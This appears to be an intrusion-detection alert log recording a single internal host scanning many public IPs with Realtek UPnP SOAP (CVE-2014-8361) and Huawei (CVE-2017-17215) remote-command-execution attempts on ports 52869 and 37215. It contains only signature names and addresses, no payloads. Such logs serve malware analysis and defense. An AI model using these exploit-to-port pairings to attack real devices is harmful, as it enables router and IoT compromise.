07/20/24-23:01:45.610865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35466	52869	192.168.2.23	148.216.25.247
07/20/24-23:01:47.808098	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34120	52869	192.168.2.23	57.119.169.7
07/20/24-23:01:47.873078	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51952	52869	192.168.2.23	93.25.182.143
07/20/24-23:01:34.053061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36910	37215	192.168.2.23	134.205.144.234
07/20/24-23:01:14.111381	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33172	37215	192.168.2.23	41.25.113.161
07/20/24-23:01:43.203681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42714	52869	192.168.2.23	207.223.163.108
07/20/24-23:01:43.855231	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42296	52869	192.168.2.23	203.94.134.229
07/20/24-23:01:24.876750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45666	37215	192.168.2.23	157.217.202.87
07/20/24-23:01:25.342792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58658	52869	192.168.2.23	154.90.91.204
07/20/24-23:01:31.321189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48790	52869	192.168.2.23	157.217.190.133
07/20/24-23:01:46.261793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53988	52869	192.168.2.23	162.205.235.41
07/20/24-23:01:08.620788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39266	52869	192.168.2.23	185.31.200.232
07/20/24-23:01:07.026812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57606	37215	192.168.2.23	62.96.8.174
07/20/24-23:01:43.938688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37094	52869	192.168.2.23	183.223.8.125
07/20/24-23:01:02.144931	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51696	52869	192.168.2.23	143.254.34.7
07/20/24-23:01:48.970191	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34126	52869	192.168.2.23	210.32.95.217
07/20/24-23:01:08.619597	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34266	52869	192.168.2.23	40.55.203.85
07/20/24-23:02:02.537098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54690	52869	192.168.2.23	113.102.84.222
07/20/24-23:01:02.139489	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52264	52869	192.168.2.23	37.205.238.167
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40494	37215	192.168.2.23	197.12.103.165
07/20/24-23:01:46.225146	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36688	52869	192.168.2.23	43.224.149.155
07/20/24-23:01:04.050503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60850	37215	192.168.2.23	197.232.225.145
07/20/24-23:01:42.631864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47372	52869	192.168.2.23	191.177.238.243
07/20/24-23:00:59.157444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39010	37215	192.168.2.23	157.24.24.246
07/20/24-23:01:42.104533	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51844	52869	192.168.2.23	68.175.73.118
07/20/24-23:01:42.944341	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55426	52869	192.168.2.23	201.86.102.204
07/20/24-23:01:42.966322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51252	52869	192.168.2.23	85.144.205.165
07/20/24-23:00:57.220999	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41094	37215	192.168.2.23	157.66.238.102
07/20/24-23:00:59.172943	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39662	37215	192.168.2.23	216.40.91.1
07/20/24-23:01:11.636599	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59270	37215	192.168.2.23	13.40.75.19
07/20/24-23:01:44.469580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58956	52869	192.168.2.23	57.145.129.242
07/20/24-23:01:52.582295	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35552	52869	192.168.2.23	81.110.138.235
07/20/24-23:01:24.910426	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33084	37215	192.168.2.23	197.178.69.12
07/20/24-23:01:41.383466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35130	52869	192.168.2.23	193.15.215.48
07/20/24-23:01:51.968363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37256	52869	192.168.2.23	140.201.238.135
07/20/24-23:01:02.059312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50708	37215	192.168.2.23	197.29.108.54
07/20/24-23:01:43.030153	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40604	52869	192.168.2.23	101.157.175.20
07/20/24-23:01:04.977217	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59800	52869	192.168.2.23	164.251.43.137
07/20/24-23:01:43.965131	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34594	52869	192.168.2.23	217.141.116.135
07/20/24-23:01:20.152427	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41810	37215	192.168.2.23	170.150.191.157
07/20/24-23:01:41.567823	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53212	52869	192.168.2.23	54.140.169.156
07/20/24-23:01:53.675171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53096	52869	192.168.2.23	196.92.88.25
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59422	37215	192.168.2.23	197.243.29.19
07/20/24-23:00:57.221790	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56808	37215	192.168.2.23	197.138.137.217
07/20/24-23:01:41.156801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44846	52869	192.168.2.23	216.159.149.17
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50580	37215	192.168.2.23	157.5.129.59
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39532	37215	192.168.2.23	41.141.197.116
07/20/24-23:01:44.520226	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52620	52869	192.168.2.23	88.161.89.160
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34402	37215	192.168.2.23	157.219.128.2
07/20/24-23:01:08.667513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37132	52869	192.168.2.23	134.167.171.74
07/20/24-23:01:34.044223	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50138	37215	192.168.2.23	41.19.208.214
07/20/24-23:00:57.221220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47068	37215	192.168.2.23	197.30.15.103
07/20/24-23:01:00.638418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38424	37215	192.168.2.23	41.90.83.142
07/20/24-23:01:47.856443	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41204	52869	192.168.2.23	25.194.48.207
07/20/24-23:01:21.936545	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53604	37215	192.168.2.23	41.20.166.185
07/20/24-23:01:24.715800	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55868	52869	192.168.2.23	188.173.105.15
07/20/24-23:01:25.656173	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47368	52869	192.168.2.23	177.181.36.106
07/20/24-23:01:31.312234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47832	52869	192.168.2.23	77.157.20.139
07/20/24-23:01:47.042994	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49708	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:49.553792	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35074	52869	192.168.2.23	68.106.199.227
07/20/24-23:00:59.185032	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35748	37215	192.168.2.23	197.112.222.157
07/20/24-23:01:01.415907	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57270	52869	192.168.2.23	41.215.81.142
07/20/24-23:01:40.334934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35780	37215	192.168.2.23	157.69.245.123
07/20/24-23:01:45.048479	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56034	52869	192.168.2.23	124.24.223.164
07/20/24-23:01:42.588824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37778	52869	192.168.2.23	69.23.248.153
07/20/24-23:00:59.158278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33262	37215	192.168.2.23	41.232.172.92
07/20/24-23:01:32.028836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45492	37215	192.168.2.23	186.54.113.175
07/20/24-23:01:08.677189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59056	52869	192.168.2.23	5.53.123.92
07/20/24-23:01:12.806235	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40150	52869	192.168.2.23	119.4.44.94
07/20/24-23:01:31.318206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59666	52869	192.168.2.23	154.90.91.204
07/20/24-23:01:42.651912	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47200	52869	192.168.2.23	209.170.78.160
07/20/24-23:02:07.552669	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54260	52869	192.168.2.23	23.130.194.51
07/20/24-23:01:43.751196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47178	52869	192.168.2.23	147.72.210.150
07/20/24-23:01:48.433265	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55244	52869	192.168.2.23	153.55.136.220
07/20/24-23:01:48.958887	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36624	52869	192.168.2.23	95.200.159.137
07/20/24-23:02:10.141900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48662	52869	192.168.2.23	168.32.23.40
07/20/24-23:01:42.290838	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37510	52869	192.168.2.23	49.182.174.70
07/20/24-23:01:45.458332	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35490	52869	192.168.2.23	147.65.114.30
07/20/24-23:02:04.942554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38780	52869	192.168.2.23	70.135.187.127
07/20/24-23:01:42.653654	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60364	52869	192.168.2.23	85.15.162.89
07/20/24-23:01:31.975513	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40206	37215	192.168.2.23	197.92.153.21
07/20/24-23:01:58.961047	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55118	52869	192.168.2.23	161.100.49.199
07/20/24-23:01:42.508021	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50758	52869	192.168.2.23	186.5.70.201
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57304	37215	192.168.2.23	157.58.211.164
07/20/24-23:01:46.512162	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48972	52869	192.168.2.23	47.135.155.164
07/20/24-23:01:31.975107	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50162	37215	192.168.2.23	41.66.153.204
07/20/24-23:01:42.571884	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60498	52869	192.168.2.23	18.151.187.19
07/20/24-23:01:52.019773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47734	52869	192.168.2.23	189.86.15.141
07/20/24-23:01:48.811098	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38390	52869	192.168.2.23	64.225.111.147
07/20/24-23:01:07.036064	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45644	37215	192.168.2.23	44.107.36.53
07/20/24-23:01:42.656962	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42998	52869	192.168.2.23	19.15.33.52
07/20/24-23:01:55.572517	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41196	52869	192.168.2.23	169.122.121.121
07/20/24-23:00:59.168569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57488	37215	192.168.2.23	157.234.59.179
07/20/24-23:01:34.071062	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55056	37215	192.168.2.23	164.27.106.147
07/20/24-23:01:03.416441	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48310	52869	192.168.2.23	12.208.124.228
07/20/24-23:01:47.663629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52128	52869	192.168.2.23	61.27.196.68
07/20/24-23:01:42.452119	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40286	52869	192.168.2.23	213.180.197.99
07/20/24-23:02:00.198960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51080	52869	192.168.2.23	212.62.106.68
07/20/24-23:01:47.891992	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56782	52869	192.168.2.23	98.158.142.52
07/20/24-23:01:07.062666	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38446	37215	192.168.2.23	197.129.190.37
07/20/24-23:01:10.684338	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54702	52869	192.168.2.23	190.111.169.67
07/20/24-23:01:45.407049	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35450	52869	192.168.2.23	91.148.233.46
07/20/24-23:01:43.260197	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37826	52869	192.168.2.23	207.203.170.191
07/20/24-23:01:52.838688	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52806	52869	192.168.2.23	23.8.251.245
07/20/24-23:01:07.114267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55126	37215	192.168.2.23	157.54.178.208
07/20/24-23:01:27.725851	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40854	37215	192.168.2.23	41.140.237.44
07/20/24-23:01:49.469876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49768	52869	192.168.2.23	116.148.59.65
07/20/24-23:01:42.178390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42248	52869	192.168.2.23	51.186.28.39
07/20/24-23:01:52.089079	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59652	52869	192.168.2.23	35.179.67.131
07/20/24-23:01:53.308763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52562	52869	192.168.2.23	17.116.47.253
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44728	37215	192.168.2.23	41.232.178.1
07/20/24-23:01:08.571946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56214	52869	192.168.2.23	94.221.100.187
07/20/24-23:01:48.160375	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38964	52869	192.168.2.23	182.62.146.57
07/20/24-23:02:09.627181	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43442	52869	192.168.2.23	164.88.135.139
07/20/24-23:00:57.220685	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36734	37215	192.168.2.23	157.189.55.135
07/20/24-23:01:27.650243	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58900	37215	192.168.2.23	157.154.3.106
07/20/24-23:01:52.934726	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39634	52869	192.168.2.23	79.195.50.112
07/20/24-23:01:41.360712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55964	52869	192.168.2.23	113.116.9.186
07/20/24-23:01:14.013039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46716	37215	192.168.2.23	197.122.119.125
07/20/24-23:01:02.119631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47984	37215	192.168.2.23	197.253.103.224
07/20/24-23:01:20.150638	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56188	37215	192.168.2.23	114.205.87.78
07/20/24-23:01:46.891763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43436	52869	192.168.2.23	43.71.121.153
07/20/24-23:01:45.472422	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49628	52869	192.168.2.23	77.216.216.160
07/20/24-23:01:41.474540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44732	52869	192.168.2.23	208.75.90.116
07/20/24-23:01:42.758954	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59620	52869	192.168.2.23	52.97.71.90
07/20/24-23:01:08.684499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42886	52869	192.168.2.23	24.106.184.126
07/20/24-23:01:43.415157	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53276	52869	192.168.2.23	41.215.7.68
07/20/24-23:01:42.602712	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53166	52869	192.168.2.23	190.125.30.210
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49432	37215	192.168.2.23	41.213.41.33
07/20/24-23:02:01.280564	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46594	52869	192.168.2.23	161.225.124.226
07/20/24-23:01:43.066571	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46598	52869	192.168.2.23	146.167.250.116
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48814	37215	192.168.2.23	197.26.40.97
07/20/24-23:01:52.487978	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52836	52869	192.168.2.23	101.35.135.206
07/20/24-23:02:10.589521	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40326	52869	192.168.2.23	82.227.232.160
07/20/24-23:01:21.928521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47998	37215	192.168.2.23	157.74.212.139
07/20/24-23:01:08.565561	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51710	52869	192.168.2.23	70.239.61.12
07/20/24-23:01:42.912947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34838	52869	192.168.2.23	17.17.223.92
07/20/24-23:01:00.639011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37970	37215	192.168.2.23	41.232.6.48
07/20/24-23:01:03.120339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59050	52869	192.168.2.23	4.72.134.93
07/20/24-23:01:52.286078	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55492	52869	192.168.2.23	190.122.87.133
07/20/24-23:01:41.967549	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44984	52869	192.168.2.23	154.201.154.131
07/20/24-23:01:43.365017	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51488	52869	192.168.2.23	90.64.10.170
07/20/24-23:01:27.650871	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49532	37215	192.168.2.23	85.60.122.132
07/20/24-23:01:21.951975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53174	37215	192.168.2.23	41.50.198.124
07/20/24-23:00:57.221624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56366	37215	192.168.2.23	197.221.173.151
07/20/24-23:01:45.165718	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36230	52869	192.168.2.23	50.208.25.112
07/20/24-23:01:11.635828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56278	37215	192.168.2.23	197.16.1.141
07/20/24-23:00:57.221273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38628	37215	192.168.2.23	157.240.255.134
07/20/24-23:01:48.888934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47644	52869	192.168.2.23	130.131.47.204
07/20/24-23:01:04.766644	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57512	52869	192.168.2.23	151.194.118.37
07/20/24-23:01:46.725077	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33474	52869	192.168.2.23	37.189.26.199
07/20/24-23:02:00.062043	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52772	52869	192.168.2.23	34.24.67.79
07/20/24-23:01:42.580745	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36440	52869	192.168.2.23	106.27.196.147
07/20/24-23:01:52.053251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37770	52869	192.168.2.23	13.165.214.181
07/20/24-23:01:41.513792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47262	52869	192.168.2.23	112.201.119.160
07/20/24-23:00:57.222164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36788	37215	192.168.2.23	69.74.218.35
07/20/24-23:02:17.110283	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43866	52869	192.168.2.23	61.237.192.205
07/20/24-23:01:52.038833	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46014	52869	192.168.2.23	87.75.190.2
07/20/24-23:01:58.055688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33598	52869	192.168.2.23	89.139.237.174
07/20/24-23:01:42.769239	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32774	52869	192.168.2.23	99.233.112.21
07/20/24-23:01:45.511523	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37662	52869	192.168.2.23	165.221.172.161
07/20/24-23:01:41.205247	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48560	52869	192.168.2.23	164.43.137.199
07/20/24-23:01:44.338159	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42886	52869	192.168.2.23	24.0.173.57
07/20/24-23:01:44.826234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36994	52869	192.168.2.23	111.252.176.80
07/20/24-23:02:04.577562	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52992	52869	192.168.2.23	178.246.190.193
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33920	37215	192.168.2.23	145.149.22.179
07/20/24-23:01:42.789220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40438	52869	192.168.2.23	148.205.165.15
07/20/24-23:01:43.455918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47652	52869	192.168.2.23	145.102.1.140
07/20/24-23:01:41.378872	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38510	52869	192.168.2.23	160.67.56.20
07/20/24-23:01:47.403768	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47372	52869	192.168.2.23	93.36.62.56
